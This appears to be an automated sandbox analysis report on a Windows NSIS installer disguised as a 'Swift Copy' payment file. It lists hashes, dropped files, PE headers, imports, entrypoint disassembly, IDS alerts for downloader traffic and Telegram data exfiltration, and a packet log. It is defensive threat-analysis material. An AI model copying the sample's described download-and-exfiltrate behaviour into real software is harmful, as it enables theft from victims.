SHA-512:	801B190430E8FBED64D7EE2E1BCAA2A35651E5C261D79726E93668D7F13DEA58D8CCD34EDBCA3FD4340B219AB1FA75CB2F58ADAE2EF79741C8886462A6A16FCE
Malicious:	false
Preview:	brasende fuges rescale brahmin trskringer supertankerens.Circumstantiable undervisningstrinnenes kommutative accessing..Annonceres vaporlike kartotekisere sukkertoppene ndringskommandoens saxifragaceous,uncraven requiem artsflle parenthesis..Draffier elves konsekvensrettelsers vases repadded unsers nettoomsaetning,caltraps slutvaerdien melicerous sesma..[elastikbindet skinned]..Befragteren marjanne gnosticises,superficiality semiticize arco edsaflggelse bilanders..[VITROPHYRIC REDISCOVERER]..

C:\Users\user\spinsterishly\Fiskeretten\opdateringssiderne.int

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	data
Category:	dropped
Size (bytes):	499466
Entropy (8bit):	1.2537138658824154
Encrypted:	false
SSDEEP:	1536:n9B+wZ0kdeJjeICC3gnX++yF9zMVwwC6mfPWc:n950dCqaXFyPzM1mfB
MD5:	A751D549670670F890F5A08CC4F5A4D6
SHA1:	C44D434264F7DAE94C0D5A7FB58053D81B99391D
SHA-256:	D05E57BC53965EA455C243B24BD34A5549ED8F08698C834A411435F0EB9F893D
SHA-512:	03FDFE35FC7D8DD0BF02E7E78C7D69B989A6A495BD4ECBDD34C1012AE82B7ABFDBE8FC30B82705BF54BDBD0F2493F7A04F78F9FA15809A8461AD556B8A584AA8
Malicious:	false
Preview:	....V..b.........U\.....k..........................................................................J..(............#...-.................................................................)....zO..7...............................................................T...............z..................u.........................r....................................l.........\|...........................................'..j...#.................................7...................................................................Y............T....K........................!................................................................................,.............................................................)........W...........................................................................................................$...............C..W.........................S.............................k..............................................*.....................:..........

C:\Users\user\spinsterishly\Fiskeretten\pataca.rei

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	data
Category:	dropped
Size (bytes):	271621
Entropy (8bit):	1.2540543167421097
Encrypted:	false
SSDEEP:	768:KtofaHIEDu5ffzIabBiHt/tAr4ajzjk8NG4GwGuV0VXHfR:1faDwfzIaAYDjk8gXfR
MD5:	CCE99D8B4C78640993AA75D7C428D061
SHA1:	6C4F21368687D9A2C8423032BCC8E0ED3227DA07
SHA-256:	33D5EDAE3829EF41E644CD76D9BC5F8386420513BD254CA7AB4A88C5C615810C
SHA-512:	47ED14565C2D4208F66A7AE070454243F26D06C72F784B9C8675BA172A0B94CF85868778E8DE07F12ABE6078A29D58A833FA269BFD82CD47A01E9E4601730836
Malicious:	false
Preview:	NNNNNNNNNNNNNN.NNNNNNNNNNNNNNN.NNNNNNNNNN.NN^NNNNNNNNNNNNNGNNNNNNNNNNNNNg.NNNNNNNNNNNNNNNJ=NNNNNNNNNNNNNNNNNGNNNNNNNNNNNNNN.NNNNNNNNNNNNNNNNNNNNN.NNNNNNNNNNNNNN.NN.NN.NNNNNNNNNNNNNNNwNNNNNNNNNNNNNNNNNNNNNNNNNNNN".\|NNNNNNNNNNNNNNNN.NN=NNNNNNNNNNNNNNNNNN8NNNN.NNNNNNNNNNNNNN.NNNNNNNNjNNNNNN.NNNNNN.yNNN.NNNNNNNNNNNNNNNNNNNNNNNBNNYNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNLNNNNNNNNNNNNNNNNNNNNNNNNNNNNf..NNNNNNNNNNNNNNN.NNNNNNNNNNNNNN.NNNNNNNNNNNNNNN.NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN.NNNNNNNNNNNN.N.NN.NNNNNNNNN.NNN.NNN.NNNNNNNjNNNNNN.NN<NNNNNNNNNN.N.NNNN.NNNNNNNNNNNNNNNNNNN.NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNrNNNNNNNNvpN.NN.NNNjNNN.NNNNNNNN.NNN.NNNN.NNNNN\|N.NNNNNNNNNN'NNNNNNNNNNNNNNNNNN.NNNNNNNNNNNNNNNN.NNNNNNNNNNNNN.NNNNNNNNNNNNNNNNNNNNN.NNNNNNNNNN,NN.GNN.NNNNNNNNN!NNNNN.NNNNNNNNNNNNNNNN.NNNNNNNNNNNN.NNNNNNNNNNNNNNNN.NNNNNNNNNNN.NNNNNNNNN.NNNNN.>NNNNNNNNNNNNN.N.NNNNNNNNNN.NNNNNNNNNNNNNNNN.NNNNNNNNANNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNQNN]NNNNNNNNNNN.NNNN.NNN.NNNNNNNNNN.NNNNNNNNNN{K

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.9564349118896605
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Swift Copy_19.02.2025.exe
File size:	693'604 bytes
MD5:	cfd2a2a0de8c10180319835f2c148578
SHA1:	a685193f4a254f4a67d116120c870f827d83b561
SHA256:	7d9639376d9c7dcecfdf494950100a6d04238a7d510d65c4b52225b634073b24
SHA512:	a423f5abf8ff6b7caa625cb292760f08839527352dde9808f8c73b2d7e5f76d5c7e6f4d997054c39a9375a02a74b044a89efd4dae9e7ad0a4c835c8ae83ca259
SSDEEP:	12288:Xa/AcZ6qJ2s1+pBOi+jWtpXpUtvntYRo0/vzwZ2XdgjPEmADNA0EpphZNG2K:X4Z6SQB5+ypXGL4oyszjsmY0K
TLSH:	F1E4239162D4C9EAE0668FF2E47DCAF44DF89D20E938834353547E2D3D7A5018E1A3DA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................d...*.....

File Icon


Icon Hash:	23034d4b1303112b

Static PE Info

General

Entrypoint:	0x403359
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F1B [Sat Dec 15 22:24:27 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A20Ch], eax
je 00007F962122FF63h
push ebx
call 00007F9621233215h
cmp eax, ebx
je 00007F962122FF59h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F962123318Fh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F962122FF3Ch
push 0000000Ah
call 00007F96212331E8h
push 00000008h
call 00007F96212331E1h
push 00000006h
mov dword ptr [0042A204h], eax
call 00007F96212331D5h
cmp eax, ebx
je 00007F962122FF61h
push 0000001Eh
call eax
test eax, eax
je 00007F962122FF59h
or byte ptr [0042A20Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A2D8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216A8h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x2fde8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x62a5	0x6400	5814efda24a547f46f687d77de540309	False	0.6590234375	data	6.431421556070023	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	ef1be07ca8b096915258569fb3718a3c	False	0.453125	data	5.159710562612049	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20318	0x600	7d0d44c89e64b001096d8f9c60b1ac1b	False	0.4928385416666667	data	3.90464114821524	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x2fde8	0x2fe00	30681180cff1042f2d0d4ceee6d45f1a	False	0.9422986700391645	data	7.870508006637617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x55418	0x1c24c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0003036191401506
RT_ICON	0x71668	0x923b	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.9948978228930145
RT_ICON	0x7a8a8	0x3945	PNG image data, 256 x 256, 4-bit colormap, non-interlaced	English	United States	1.0007502898847283
RT_ICON	0x7e1f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5910788381742739
RT_ICON	0x80798	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.62312382739212
RT_ICON	0x81840	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304	English	United States	0.7022921108742004
RT_ICON	0x826e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024	English	United States	0.7955776173285198
RT_ICON	0x82f90	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.5170731707317073
RT_ICON	0x835f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256	English	United States	0.7210982658959537
RT_ICON	0x83b60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7322695035460993
RT_ICON	0x83fc8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.6666666666666666
RT_ICON	0x842b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.7297297297297297
RT_DIALOG	0x843d8	0x120	data	English	United States	0.5138888888888888
RT_DIALOG	0x844f8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x84618	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x846e0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x84740	0xae	data	English	United States	0.6379310344827587
RT_VERSION	0x847f0	0x2b8	COM executable for DOS	English	United States	0.47413793103448276
RT_MANIFEST	0x84aa8	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Version Infos

Description	Data
Comments	lampatia
FileDescription	flighting redescribes nasioinial
FileVersion	1.4.0.0
InternalName	dovetailwise.exe
OriginalFilename	dovetailwise.exe
ProductName	autodidakte leah bubas
ProductVersion	1.4.0.0
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-21T08:29:31.759430+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49987	142.250.186.174	443	TCP
2025-02-21T08:29:37.301012+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:38.832275+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:39.382429+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49991	104.21.112.1	443	TCP
2025-02-21T08:29:39.614831+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:40.200794+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49992	104.21.112.1	443	TCP
2025-02-21T08:29:40.426040+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:40.990332+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49993	104.21.112.1	443	TCP
2025-02-21T08:29:41.363536+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:41.909412+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49994	104.21.112.1	443	TCP
2025-02-21T08:29:42.129340+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:42.694800+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49995	104.21.112.1	443	TCP
2025-02-21T08:29:42.926091+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:43.471307+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49996	104.21.112.1	443	TCP
2025-02-21T08:29:43.707329+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:44.563716+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49997	104.21.112.1	443	TCP
2025-02-21T08:29:44.785406+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:45.328610+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49998	104.21.112.1	443	TCP
2025-02-21T08:29:46.995244+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.6	49999	149.154.167.220	443	TCP
2025-02-21T08:29:53.615236+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	50001	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2025 08:29:30.722163916 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:30.722209930 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:30.722274065 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:30.735632896 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:30.735644102 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.370840073 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.371083975 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.371640921 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.371720076 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.442145109 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.442173958 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.442576885 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.442626953 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.452753067 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.495332003 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.759423971 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.759495974 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.759530067 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.759613991 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.760108948 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.760154009 CET	443	49987	142.250.186.174	192.168.2.6
Feb 21, 2025 08:29:31.760234118 CET	49987	443	192.168.2.6	142.250.186.174
Feb 21, 2025 08:29:31.797841072 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:31.797878981 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:31.798177958 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:31.798295975 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:31.798304081 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:32.464235067 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:32.464339018 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:32.468055964 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:32.468063116 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:32.468421936 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:32.468486071 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:32.535352945 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:32.579325914 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.885386944 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.885505915 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.885953903 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.886012077 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.897500038 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.897782087 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.897792101 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.897914886 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.976010084 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.976078033 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.976118088 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.976125002 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.976139069 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.976149082 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.976167917 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.976181984 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.976265907 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.976305962 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.981066942 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.981121063 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.981127024 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.981163979 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.987324953 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.987432957 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.987447977 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.987489939 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.993649006 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.993702888 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:34.993710041 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:34.993746996 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.000076056 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.000128031 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.000138044 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.000170946 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.005944014 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.006001949 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.006007910 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.006043911 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.012059927 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.012123108 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.012130022 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.012183905 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.017966986 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.018018007 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.018023968 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.018059969 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.024162054 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.024211884 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.024219036 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.024264097 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.029958963 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.030014992 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.030026913 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.030059099 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.036015034 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.036067009 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.066865921 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.066939116 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.066946030 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.066956043 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.066979885 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.067011118 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.067014933 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.067058086 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.067239046 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.067282915 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.067399979 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.067523003 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.067529917 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.067572117 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.067794085 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.067856073 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.067859888 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.067894936 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.073163986 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.073256016 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.073263884 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.073374987 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.079509974 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.079580069 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.079606056 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.079612970 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.079687119 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.092832088 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.092935085 CET	49988	443	192.168.2.6	142.250.185.161
Feb 21, 2025 08:29:35.092943907 CET	443	49988	142.250.185.161	192.168.2.6
Feb 21, 2025 08:29:35.093034029 CET	49988	443	192.168.2.6	142.250.185.161
